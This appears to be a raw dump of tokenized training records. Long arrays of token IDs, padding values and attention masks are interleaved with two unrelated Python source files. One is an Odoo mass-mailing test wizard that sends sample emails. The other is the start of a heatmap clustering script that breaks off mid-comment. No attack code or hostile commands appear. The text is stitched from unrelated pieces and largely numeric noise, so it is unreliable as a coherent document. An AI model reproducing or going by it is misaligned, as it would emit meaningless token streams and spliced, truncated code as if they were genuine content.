32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2656, 1240, 2746, 199, 3, 334, 67, 9, 7129, 12, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 3909, 1334, 314, 2895, 402, 314, 1664, 14629, 844, 1015, 499, 199, 3, 199, 3, 3492, 11273, 1183, 17561, 2656, 13, 13062, 2656, 1240, 23576, 12, 10529, 3224, 701, 199, 3, 18901, 14, 221, 982, 282, 359, 1404, 61, 1680, 365, 2013, 12, 1454, 19473, 2797, 701, 199, 3, 359, 1404, 61, 787, 9080, 14, 982, 376, 359, 4284, 61, 1680, 365, 2013, 12, 314, 2929, 199, 3, 911, 506, 9236, 379, 4036, 359, 4284, 61, 4696, 14, 221, 710, 849, 6252, 365, 199, 3, 650, 4696, 14, 199, 199, 646, 747, 12, 984, 12, 2462, 12, 900, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 199, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 3807, 275, 298, 9452, 2884, 446, 83, 308, 319, 411, 14, 647, 359, 1404, 61, 359, 4284, 7272, 78, 11436, 199, 199, 509, 63, 1404, 275, 488, 199, 885, 63, 4284, 275, 650, 199, 4284, 275, 849, 63, 4284, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 650, 26, 199, 198, 1274, 14, 2224, 8, 3807, 9, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 499, 26, 199, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 199, 198, 4284, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 199, 4164, 822, 8, 1274, 14, 3020, 9, 690, 413, 26, 199, 198, 893, 26, 507, 198, 4284, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 198, 2590, 1722, 26, 507, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 507, 198, 4284, 275, 849, 63, 4284, 199, 199, 14507, 275, 27477, 342, 199, 199, 318, 3307, 63, 5037, 837, 199, 198, 2671, 14, 928, 63, 1222, 63, 2671, 8, 1361, 63, 19444, 63, 17552, 12, 334, 4284, 4641, 199, 198, 1529, 199, 199, 318, 3066, 63, 14507, 363, 1274, 63, 4200, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 344, 12, 1249, 304, 199, 198, 692, 367, 63, 1404, 365, 440, 488, 26, 507, 198, 692, 2863, 63, 1404, 1137, 367, 63, 1404, 26, 686, 198, 1107, 199, 198, 893, 26, 507, 198, 14507, 59, 344, 61, 847, 413, 199, 198, 2590, 3146, 26, 507, 198, 14507, 59, 344, 61, 275, 413, 199, 199, 318, 870, 63, 19444, 63, 17552, 8, 4284, 304, 199, 198, 6710, 413, 26, 507, 198, 3584, 63, 5125, 342, 507, 198, 692, 367, 63, 1404, 365, 440, 488, 26, 686, 198, 1361, 1867, 26605, 4474, 367, 450, 83, 3427, 78, 60, 78, 2, 450, 334, 509, 63, 1404, 395, 507, 198, 2836, 26, 686, 198, 1361, 1867, 26605, 4474, 3427, 78, 60, 78, 401, 2742, 198, 1361, 18301, 2167, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 1430, 401, 298, 835, 1288, 507, 198, 1361, 18301, 2167, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 32111, 401, 971, 5264, 298, 9460, 1288, 2742, 198, 509, 1305, 12, 1139, 315, 3355, 8, 14507, 14, 4611, 1062, 790, 275, 2400, 8, 75, 12, 373, 304, 334, 86, 12, 1022, 395, 971, 4671, 420, 3837, 275, 715, 304, 686, 198, 893, 26, 1585, 198, 1361, 18301, 2167, 83, 221, 450, 709, 68, 60, 78, 2, 450, 334, 19444, 63, 354, 8, 344, 395, 1139, 395, 686, 198, 2590, 3146, 26, 1585, 198, 1529, 507, 198, 14507, 14, 3584, 342, 507, 198, 521, 14, 4532, 8, 4284, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Daniel-CA/odoo
addons/mass_mailing/wizard/test_mailing.py
26
2128
# -*- coding: utf-8 -*- from openerp import tools from openerp.osv import osv, fields class TestMassMailing(osv.TransientModel): _name = 'mail.mass_mailing.test' _description = 'Sample Mail Wizard' _columns = { 'email_to': fields.char('Recipients', required=True, help='Comma-separated list of email addresses.'), 'mass_mailing_id': fields.many2one( 'mail.mass_mailing', 'Mailing', required=True, ondelete='cascade'), } _defaults = { 'email_to': lambda self, cr, uid, ctx=None: self.pool['mail.message']._get_default_from(cr, uid, context=ctx), } def send_mail_test(self, cr, uid, ids, context=None): Mail = self.pool['mail.mail'] for wizard in self.browse(cr, uid, ids, context=context): mailing = wizard.mass_mailing_id test_emails = tools.email_split(wizard.email_to) mail_ids = [] for test_mail in test_emails: mail_values = { 'email_from': mailing.email_from, 'reply_to': mailing.reply_to, 'email_to': test_mail, 'subject': mailing.name, 'body_html': '', 'notification': True, 'mailing_id': mailing.id, 'attachment_ids': [(4, attachment.id) for attachment in mailing.attachment_ids], } mail_mail_obj = Mail.browse(cr, uid, Mail.create(cr, uid, mail_values, context=context), context=context) unsubscribe_url = Mail._get_unsubscribe_url(cr, uid, mail_mail_obj, test_mail, context=context) body = tools.append_content_to_html(mailing.body_html, unsubscribe_url, plaintext=False, container_tag='p') Mail.write(cr, uid, mail_mail_obj.id, {'body_html': mailing.body_html}, context=context) mail_ids.append(mail_mail_obj.id) Mail.send(cr, uid, mail_ids, context=context) self.pool['mail.mass_mailing'].write(cr, uid, [mailing.id], {'state': 'test'}, context=context) return True
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 9506, 12, 1504, 421, 199, 533, 1379, 27218, 13681, 316, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 354, 275, 283, 1198, 14, 11535, 63, 22989, 14, 396, 7, 272, 485, 1802, 275, 283, 8176, 18027, 644, 6281, 7, 339, 485, 3406, 275, 469, 267, 283, 2123, 63, 475, 356, 1504, 14, 1560, 360, 26893, 83, 297, 1415, 29, 549, 12, 288, 1720, 534, 25732, 13, 12794, 769, 402, 3031, 7149, 8038, 267, 283, 11535, 63, 22989, 63, 344, 356, 1504, 14, 3479, 18, 368, 8, 288, 283, 1198, 14, 11535, 63, 22989, 297, 283, 13681, 316, 297, 1415, 29, 549, 12, 16549, 534, 15377, 659, 272, 789, 339, 485, 4322, 275, 469, 267, 283, 2123, 63, 475, 356, 2400, 291, 12, 2467, 12, 1747, 12, 4027, 29, 403, 26, 291, 14, 2293, 459, 1198, 14, 1188, 26099, 362, 63, 885, 63, 504, 8, 1556, 12, 1747, 12, 1067, 29, 3799, 395, 272, 789, 339, 347, 3222, 63, 1198, 63, 396, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 18027, 275, 291, 14, 2293, 459, 1198, 14, 1198, 418, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 30939, 275, 12262, 14, 11535, 63, 22989, 63, 344, 288, 511, 63, 14170, 275, 7249, 14, 2123, 63, 1294, 8, 9819, 14, 2123, 63, 475, 9, 288, 6016, 63, 1580, 275, 942, 288, 367, 511, 63, 1198, 315, 511, 63, 14170, 26, 355, 6016, 63, 1459, 275, 469, 490, 283, 2123, 63, 504, 356, 30939, 14, 2123, 63, 504, 12, 490, 283, 8102, 63, 475, 356, 30939, 14, 8102, 63, 475, 12, 490, 283, 2123, 63, 475, 356, 511, 63, 1198, 12, 490, 283, 5875, 356, 30939, 14, 354, 12, 490, 283, 2030, 63, 1360, 356, 3260, 490, 283, 6761, 356, 715, 12, 490, 283, 22989, 63, 344, 356, 30939, 14, 344, 12, 490, 283, 8905, 63, 1580, 356, 3842, 20, 12, 12193, 14, 344, 9, 367, 12193, 315, 30939, 14, 8905, 63, 1580, 467, 355, 789, 355, 6016, 63, 1198, 63, 1113, 275, 18027, 14, 4570, 8, 1556, 12, 1747, 12, 18027, 14, 981, 8, 1556, 12, 1747, 12, 6016, 63, 1459, 12, 1067, 29, 1100, 395, 1067, 29, 1100, 9, 355, 625, 10108, 63, 633, 275, 18027, 423, 362, 63, 25592, 63, 633, 8, 1556, 12, 1747, 12, 6016, 63, 1198, 63, 1113, 12, 511, 63, 1198, 12, 1067, 29, 1100, 9, 355, 2396, 275, 7249, 14, 740, 63, 1317, 63, 475, 63, 1360, 8, 22989, 14, 2030, 63, 1360, 12, 625, 10108, 63, 633, 12, 18577, 29, 797, 12, 3970, 63, 1450, 534, 80, 358, 355, 18027, 14, 952, 8, 1556, 12, 1747, 12, 6016, 63, 1198, 63, 1113, 14, 344, 12, 791, 2030, 63, 1360, 356, 30939, 14, 2030, 63, 1360, 1386, 1067, 29, 1100, 9, 355, 6016, 63, 1580, 14, 740, 8, 1198, 63, 1198, 63, 1113, 14, 344, 9, 288, 18027, 14, 2254, 8, 1556, 12, 1747, 12, 6016, 63, 1580, 12, 1067, 29, 1100, 9, 288, 291, 14, 2293, 459, 1198, 14, 11535, 63, 22989, 2278, 952, 8, 1556, 12, 1747, 12, 359, 22989, 14, 344, 467, 791, 929, 356, 283, 396, 2267, 1067, 29, 1100, 9, 267, 372, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 9506, 12, 1504, 421, 199, 533, 1379, 27218, 13681, 316, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 354, 275, 283, 1198, 14, 11535, 63, 22989, 14, 396, 7, 272, 485, 1802, 275, 283, 8176, 18027, 644, 6281, 7, 339, 485, 3406, 275, 469, 267, 283, 2123, 63, 475, 356, 1504, 14, 1560, 360, 26893, 83, 297, 1415, 29, 549, 12, 288, 1720, 534, 25732, 13, 12794, 769, 402, 3031, 7149, 8038, 267, 283, 11535, 63, 22989, 63, 344, 356, 1504, 14, 3479, 18, 368, 8, 288, 283, 1198, 14, 11535, 63, 22989, 297, 283, 13681, 316, 297, 1415, 29, 549, 12, 16549, 534, 15377, 659, 272, 789, 339, 485, 4322, 275, 469, 267, 283, 2123, 63, 475, 356, 2400, 291, 12, 2467, 12, 1747, 12, 4027, 29, 403, 26, 291, 14, 2293, 459, 1198, 14, 1188, 26099, 362, 63, 885, 63, 504, 8, 1556, 12, 1747, 12, 1067, 29, 3799, 395, 272, 789, 339, 347, 3222, 63, 1198, 63, 396, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 18027, 275, 291, 14, 2293, 459, 1198, 14, 1198, 418, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 30939, 275, 12262, 14, 11535, 63, 22989, 63, 344, 288, 511, 63, 14170, 275, 7249, 14, 2123, 63, 1294, 8, 9819, 14, 2123, 63, 475, 9, 288, 6016, 63, 1580, 275, 942, 288, 367, 511, 63, 1198, 315, 511, 63, 14170, 26, 355, 6016, 63, 1459, 275, 469, 490, 283, 2123, 63, 504, 356, 30939, 14, 2123, 63, 504, 12, 490, 283, 8102, 63, 475, 356, 30939, 14, 8102, 63, 475, 12, 490, 283, 2123, 63, 475, 356, 511, 63, 1198, 12, 490, 283, 5875, 356, 30939, 14, 354, 12, 490, 283, 2030, 63, 1360, 356, 3260, 490, 283, 6761, 356, 715, 12, 490, 283, 22989, 63, 344, 356, 30939, 14, 344, 12, 490, 283, 8905, 63, 1580, 356, 3842, 20, 12, 12193, 14, 344, 9, 367, 12193, 315, 30939, 14, 8905, 63, 1580, 467, 355, 789, 355, 6016, 63, 1198, 63, 1113, 275, 18027, 14, 4570, 8, 1556, 12, 1747, 12, 18027, 14, 981, 8, 1556, 12, 1747, 12, 6016, 63, 1459, 12, 1067, 29, 1100, 395, 1067, 29, 1100, 9, 355, 625, 10108, 63, 633, 275, 18027, 423, 362, 63, 25592, 63, 633, 8, 1556, 12, 1747, 12, 6016, 63, 1198, 63, 1113, 12, 511, 63, 1198, 12, 1067, 29, 1100, 9, 355, 2396, 275, 7249, 14, 740, 63, 1317, 63, 475, 63, 1360, 8, 22989, 14, 2030, 63, 1360, 12, 625, 10108, 63, 633, 12, 18577, 29, 797, 12, 3970, 63, 1450, 534, 80, 358, 355, 18027, 14, 952, 8, 1556, 12, 1747, 12, 6016, 63, 1198, 63, 1113, 14, 344, 12, 791, 2030, 63, 1360, 356, 30939, 14, 2030, 63, 1360, 1386, 1067, 29, 1100, 9, 355, 6016, 63, 1580, 14, 740, 8, 1198, 63, 1198, 63, 1113, 14, 344, 9, 288, 18027, 14, 2254, 8, 1556, 12, 1747, 12, 6016, 63, 1580, 12, 1067, 29, 1100, 9, 288, 291, 14, 2293, 459, 1198, 14, 11535, 63, 22989, 2278, 952, 8, 1556, 12, 1747, 12, 359, 22989, 14, 344, 467, 791, 929, 356, 283, 396, 2267, 1067, 29, 1100, 9, 267, 372, 715, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
aweimann/traitar
traitar/heatmap.py
1
19822
#!/usr/bin/env python #adapted from Nathan Salomonis: http://code.activestate.com/recipes/578175-hierarchical-clustering-heatmap-python/ import matplotlib as mpl #pick non-x display mpl.use('Agg') import matplotlib.pyplot as pylab import scipy import scipy.cluster.hierarchy as sch import scipy.spatial.distance as dist import numpy import string import time import sys, os import getopt import numpy as np import pandas as ps from .PhenotypeCollection import PhenotypeCollection import warnings warnings.filterwarnings("ignore", category=FutureWarning) #ignore these warnings #/usr/lib/pymodules/python2.7/matplotlib/collections.py:548: FutureWarning: elementwise comparison failed; returning scalar instead, but in the future will perform elementwise comparison # if self._edgecolors == 'face': #/usr/lib/pymodules/python2.7/matplotlib/backends/backend_pdf.py:2184: FutureWarning: comparison to `None` will result in an elementwise object comparison in the future. # different = bool(ours != theirs) ################# Perform the hierarchical clustering ################# def heatmap(x, row_header, column_header, primary_pt_models, color_f, row_method, column_method, row_metric, column_metric, filename, sample_f, secondary_pt_models): print "\nrunning hiearchical clustering using %s for columns and %s for rows" % (column_metric,row_metric) """ This below code is based in large part on the protype methods: http://old.nabble.com/How-to-plot-heatmap-with-matplotlib--td32534593.html http://stackoverflow.com/questions/7664826/how-to-get-flat-clustering-corresponding-to-color-clusters-in-the-dendrogram-cre x is an m by n ndarray, m observations, n genes """ ### Define the color gradient to use based on the provided name #if color_gradient == 'red_white_blue': # cmap=pylab.cm.bwr #if color_gradient == 'red_black_sky': # cmap=RedBlackSkyBlue() #if color_gradient 